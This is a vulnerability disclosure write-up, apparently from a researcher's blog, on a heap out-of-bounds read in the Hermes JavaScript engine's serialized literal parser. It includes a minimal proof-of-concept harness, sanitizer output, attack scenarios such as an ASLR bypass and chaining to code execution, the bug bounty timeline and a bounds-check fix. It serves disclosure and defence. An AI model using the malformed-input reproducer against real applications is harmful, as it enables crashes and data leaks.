Heap Out-of-Bounds Read in Hermes JavaScript Engine: A Technical Deep Dive

Executive Summary

This article presents a detailed analysis of a heap out-of-bounds read vulnerability discovered in Meta’s Hermes JavaScript engine, specifically within the SerializedLiteralParser component. While the vulnerability was reported to Meta through their bug bounty program and acknowledged as a valid issue, it was deemed below the threshold for a monetary reward due to the component only processing “trusted input” in production scenarios.

This writeup serves as a comprehensive technical walkthrough of the vulnerability, its exploitation mechanics, and the disclosure process, demonstrating the importance of defensive programming even in contexts assumed to process trusted data.

What is Hermes?

Hermes is an open-source JavaScript engine optimized for running React Native applications on mobile devices. Developed by Meta (formerly Facebook), Hermes focuses on:

  • Reduced app size through bytecode precompilation

  • Improved startup time

  • Decreased memory consumption

A key architectural component of Hermes is its bytecode format, which includes serialized literals (strings, numbers, arrays, objects) that must be deserialized at runtime. This is where the vulnerability lies.

The Vulnerable Component: SerializedLiteralParser

The SerializedLiteralParser class is responsible for reading serialized literals from a bytecode buffer and converting them back into HermesValue objects. The serialization format uses a tag-based system where each literal is prefixed with a tag byte indicating its type:

  • ByteStringTag (0x10): 1-byte string ID

  • ShortStringTag (0x20): 2-byte string ID

  • LongStringTag (0x30): 4-byte string ID

  • NumberTag (0x31): 8-byte double

  • IntegerTag (0x40): 4-byte int32

  • NullTag, TrueTag, FalseTag: No payload

The Parser Logic

Here’s the relevant code from SerializedLiteralParser.cpp:

HermesValue SerializedLiteralParser::get(Runtime &) {
  assert(hasNext() && "Object buffer doesn't have any more values");

  if (leftInSeq_ == 0)
    parseTagAndSeqLength();
  leftInSeq_--;
  elemsLeft_--;

  switch (lastTag_) {
    case SLG::NumberTag: {
      double val = llvh::support::endian::read<double, 1>(
          buffer_.data() + currIdx_, llvh::support::endianness::little);
      currIdx_ += 8;
      return HermesValue::encodeUntrustedNumberValue(val);
    }
    case SLG::IntegerTag: {
      int32_t val = llvh::support::endian::read<int32_t, 1>(
          buffer_.data() + currIdx_, llvh::support::endianness::little);
      currIdx_ += 4;
      return HermesValue::encodeUntrustedNumberValue(val);
    }
    // ... other cases ...
  }
}

Root Cause Analysis

The vulnerability exists because the parser performs typed reads (1, 2, 4, or 8 bytes) from the buffer without validating that sufficient bytes remain.

The Critical Flaw

Consider this execution flow:

  1. A malformed buffer contains: [0x31] (just the NumberTag, value 0x30 | 0x01)

  2. The parser reads the tag and determines it’s a NumberTag

  3. It attempts to read 8 bytes starting at currIdx_

  4. No bounds check occurs before the read

  5. llvh::support::endian::read() reads 8 bytes from a 1-byte buffer

  6. Result: heap buffer overflow read of 7 bytes beyond the allocation

Visualizing the Bug

Buffer allocation:     [0x31]
                        ^
                        currIdx_ = 0
                        
Attempted read:        [????????]  (8 bytes)
                        ^      ^
                        |      |
                        |      +-- 7 bytes past allocation end
                        +--------- Only this byte is valid

The read operation accesses memory that was never allocated for the buffer, potentially reading sensitive heap data from adjacent allocations.

Proof of Concept

Environment Setup

The vulnerability can be reproduced on any Linux system with:

  • Clang ≥15 with AddressSanitizer support

  • CMake ≥3.16

  • Standard build tools

Minimal Reproducer

I created a minimal test harness (test_parser.cpp):

#include "hermes/VM/SerializedLiteralParser.h"
#include "hermes/VM/Runtime.h"
#include "llvh/ADT/ArrayRef.h"
#include <vector>

using namespace hermes::vm;

int main() {
  // 1. Create minimal Hermes runtime
  auto runtime = Runtime::create(RuntimeConfig::Builder().build());
  
  // 2. Craft malformed buffer: NumberTag with no payload
  std::vector<uint8_t> buf = {0x31};  // 0x30 | 0x01 = NumberTag
  
  // 3. Create parser
  SerializedLiteralParser parser({buf.data(), buf.size()}, 1, nullptr);
  
  // 4. Trigger the vulnerability
  parser.get(*runtime);  // Boom!
}

Build Configuration

Added to tools/CMakeLists.txt:

add_executable(test_parser test_parser.cpp)
target_link_libraries(test_parser hermesVMRuntime)
target_compile_options(test_parser PRIVATE -fsanitize=address -fno-omit-frame-pointer)
target_link_options(test_parser PRIVATE -fsanitize=address)

Building and Running

git clone https://github.com/facebook/hermes.git
cd hermes
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DHERMES_ENABLE_ADDRESS_SANITIZER=ON
cmake --build . --target test_parser
ASAN_OPTIONS=halt_on_error=1 ./tools/test_parser

AddressSanitizer Output

==193678==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000a31
READ of size 8 at 0x502000000a31 thread T0
    #0 in double llvh::support::endian::read<double, 1ul>(...)
       /hermes/external/llvh/include/llvh/Support/Endian.h:69
    #1 in hermes::vm::SerializedLiteralParser::get(hermes::vm::Runtime&)
       /hermes/lib/VM/SerializedLiteralParser.cpp:61
    #2 in main
       /hermes/build/tools/test_parser.cpp:25

0x502000000a31 is located 0 bytes after 1-byte region [0x502000000a30,0x502000000a31)

The sanitizer clearly shows an 8-byte read from a 1-byte allocation, confirming the vulnerability.

Exploitation Analysis

Impact Assessment

Severity: CVSS 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Attack Scenarios

Scenario 1: Denial of Service (DoS)

  • Method: Malformed bytecode crashes the Hermes engine

  • Impact: Application becomes unresponsive or terminates

  • Target: React Native apps loading untrusted bytecode

Scenario 2: Information Disclosure

  • (depends on heap layout)

  • Method: Out-of-bounds read returns heap data encoded as JavaScript number.

  • Impact: Potential leak of sensitive information from adjacent heap objects

  • Use case: Could bypass ASLR or leak sensitive app data

Scenario 3: Escalation to RCE

  • (requires vulnerability chaining)

  • Method: Combine info leak with separate memory corruption bug

  • Impact: Remote code execution within the JavaScript engine

Attack Surface Considerations

Meta’s response highlighted an important point: SerializedLiteralParser is designed to process trusted input only. In the standard React Native workflow:

  1. Developers compile JavaScript to Hermes bytecode

  2. The bytecode is bundled with the app

  3. At runtime, only this pre-verified bytecode is executed

However, attack surface exists if:

  • An app dynamically loads bytecode from external sources

  • Another vulnerability allows bytecode tampering

  • Development/debugging scenarios bypass normal protections

  • Future architectural changes alter the trust model

The Disclosure Process

Timeline

DateEvent
June 14, 2025Initial report submitted to Meta Bug Bounty
June 14, 2025Report acknowledged (ID: 10229917828229717)
June 15, 2025Security team requested reproduction script
June 15, 2025Provided automated repro_hermes_oob.sh
June 15, 2025Asked if exploitable to RCE or higher impact
June 15, 2025Confirmed limited to OOB read (DoS + info leak)
June 15, 2025Report forwarded to engineering team
July 3, 2025Report closed - valid issue, no monetary reward

Meta’s Response

The final response stated:

Meta’s position is technically defensible from a threat modeling perspective:

  • The component is internal to the bytecode parser

  • In production, bytecode is generated by their own compiler

  • The trust boundary is at bytecode generation, not parsing

However, this overlooks several defense-in-depth principles:

  • Assumptions about trust boundaries can become invalid over time

  • Code gets reused in unexpected contexts

  • Defense-in-depth prevents vulnerability chaining

  • Memory safety bugs are easier to fix than audit all callers

Suggested Fix

A simple bounds check would prevent this vulnerability:

case SLG::NumberTag: {
  if (currIdx_ + sizeof(double) > buffer_.size()) {
    hermes_fatal("Serialized literal buffer overflow");
  }
  double val = llvh::support::endian::read<double, 1>(
      buffer_.data() + currIdx_, llvh::support::endianness::little);
  currIdx_ += 8;
  return HermesValue::encodeUntrustedNumberValue(val);
}

This check should be applied consistently to all payload reads.

Conclusion

This research demonstrates a legitimate heap out-of-bounds read vulnerability in the Hermes JavaScript engine. While Meta’s assessment that the bug requires untrusted bytecode to reach production is fair, the vulnerability represents a gap in defense-in-depth protections.

The bug serves as a case study in the tension between:

  • Formal security impact (requires specific attack scenarios)

  • Defense-in-depth principles (all inputs should be validated)

  • Real-world threat models (trusted vs. untrusted contexts)

References

Responsible Disclosure

This vulnerability was reported to Meta through their official bug bounty program on June 14, 2025.

Meta closed the report on July 3, 2025, acknowledging it as a valid issue but determining it fell below their reward threshold.

Public disclosure occurred in October 2025, approximately 120 days after the initial report, following industry-standard responsible disclosure practices.

For questions or comments about this research, feel free to reach out through the contact information on my blog.

← all findings